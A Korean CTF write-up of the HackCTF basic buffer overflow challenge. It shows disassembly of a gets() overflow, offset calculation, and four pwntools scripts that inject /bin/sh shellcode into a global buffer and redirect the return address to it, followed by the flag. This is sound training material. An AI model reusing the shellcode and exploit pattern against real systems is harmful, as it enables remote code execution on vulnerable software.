[문제]
[풀이]
- 32bit 바이너리
- 카나리 없음
- NX bit 없음
- PIE 없음
바이너리 실행
- 사용자로부터 Name과 input을 입력 받음
- input의 길이에 따라 Segmentation fault 발생(BOF)
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-14h]@1
setvbuf(stdout, 0, 2, 0);
printf("Name : ");
read(0, &name, 50);
printf("input : ");
gets(&s);
return 0;
}
- read 함수로 50바이트 만큼 Name 입력 받고 있음
- gets 함수로 input 입력을 받고 있음 → 길이 검증을 하지 않아 BOF 취약점 발생
- shell을 실행할 수 있는 어떠한 것도 주어지지 않음 → shellcode 삽입 필요
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x08048330 _init
0x08048370 read@plt
0x08048380 printf@plt
0x08048390 gets@plt
0x080483a0 __libc_start_main@plt
0x080483b0 setvbuf@plt
0x080483c0 __gmon_start__@plt
0x080483d0 _start
0x08048400 __x86.get_pc_thunk.bx
0x08048410 deregister_tm_clones
0x08048440 register_tm_clones
0x08048480 __do_global_dtors_aux
0x080484a0 frame_dummy
0x080484cb main
0x08048530 __libc_csu_init
0x08048590 __libc_csu_fini
0x08048594 _fini
- main 주소: 0x080484cb
gdb 분석 - main 함수
pwndbg> disass main
Dump of assembler code for function main:
0x080484cb <+0>: push ebp
0x080484cc <+1>: mov ebp,esp
0x080484ce <+3>: sub esp,0x14
0x080484d1 <+6>: mov eax,ds:0x804a040
0x080484d6 <+11>: push 0x0
0x080484d8 <+13>: push 0x2
0x080484da <+15>: push 0x0
0x080484dc <+17>: push eax
0x080484dd <+18>: call 0x80483b0 <setvbuf@plt>
0x080484e2 <+23>: add esp,0x10
0x080484e5 <+26>: push 0x80485b0
0x080484ea <+31>: call 0x8048380 <printf@plt>
0x080484ef <+36>: add esp,0x4
0x080484f2 <+39>: push 0x32
0x080484f4 <+41>: push 0x804a060
0x080484f9 <+46>: push 0x0
0x080484fb <+48>: call 0x8048370 <read@plt>
0x08048500 <+53>: add esp,0xc
0x08048503 <+56>: push 0x80485b8
0x08048508 <+61>: call 0x8048380 <printf@plt>
0x0804850d <+66>: add esp,0x4
0x08048510 <+69>: lea eax,[ebp-0x14]
0x08048513 <+72>: push eax
0x08048514 <+73>: call 0x8048390 <gets@plt>
0x08048519 <+78>: add esp,0x4
0x0804851c <+81>: mov eax,0x0
0x08048521 <+86>: leave
0x08048522 <+87>: ret
End of assembler dump.
- main+53에 bp 걸어 Name에 임의의 입력 값 입력
- 0x804a060에 Name 저장
- name은 전역변수로 선언됨
- main+78에 bp 걸어 input에 임의의 입력 값 입력
- 0xffffd044에 입력 값 저장
- 0xffffd05c에서 __libc_start_main+241 발견
- 입력값~0xffffd05c까지의 offset = 24
문제 해결
💡Name: shellcode(최대 50byte)
input: dummy(24byte)
ret: Name_Address(0x804a060)
Python2 - 직접 shellcode 가져와 진행
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')
payload = "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
payload += "A"*25
payload += "B"*24
payload += p32(e.symbols['name'])
p.sendline(payload)
p.interactive()
Python2 - shellcraft
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')
shell = asm(shellcraft.sh())
payload = shell.ljust(50, "A")
payload += "B"*24
payload += p32(e.symbols['name'])
p.sendline(payload)
p.interactive()
Python3 - 직접 shellcode 가져와 진행
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')
payload = b"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
payload += b"A"*25
payload += b"B"*24
payload += p32(e.symbols['name'])
p.sendline(payload)
p.interactive(
Python3 - shellcraft
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')
shell = asm(shellcraft.sh())
payload = shell.ljust(50, b"A")
payload += b"B"*24
payload += p32(e.symbols['name'])
p.sendline(payload)
p.interactive()
flag
🍒 HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Basic_BOF #2 (0) | 2022.10.30 |
---|---|
[HackCTF] Basic_FSB (0) | 2022.10.30 |
[HackCTF] x64 Buffer Overflow (0) | 2022.10.30 |
[HackCTF] x64 Simple_size_BOF (0) | 2022.10.30 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2022.10.30 |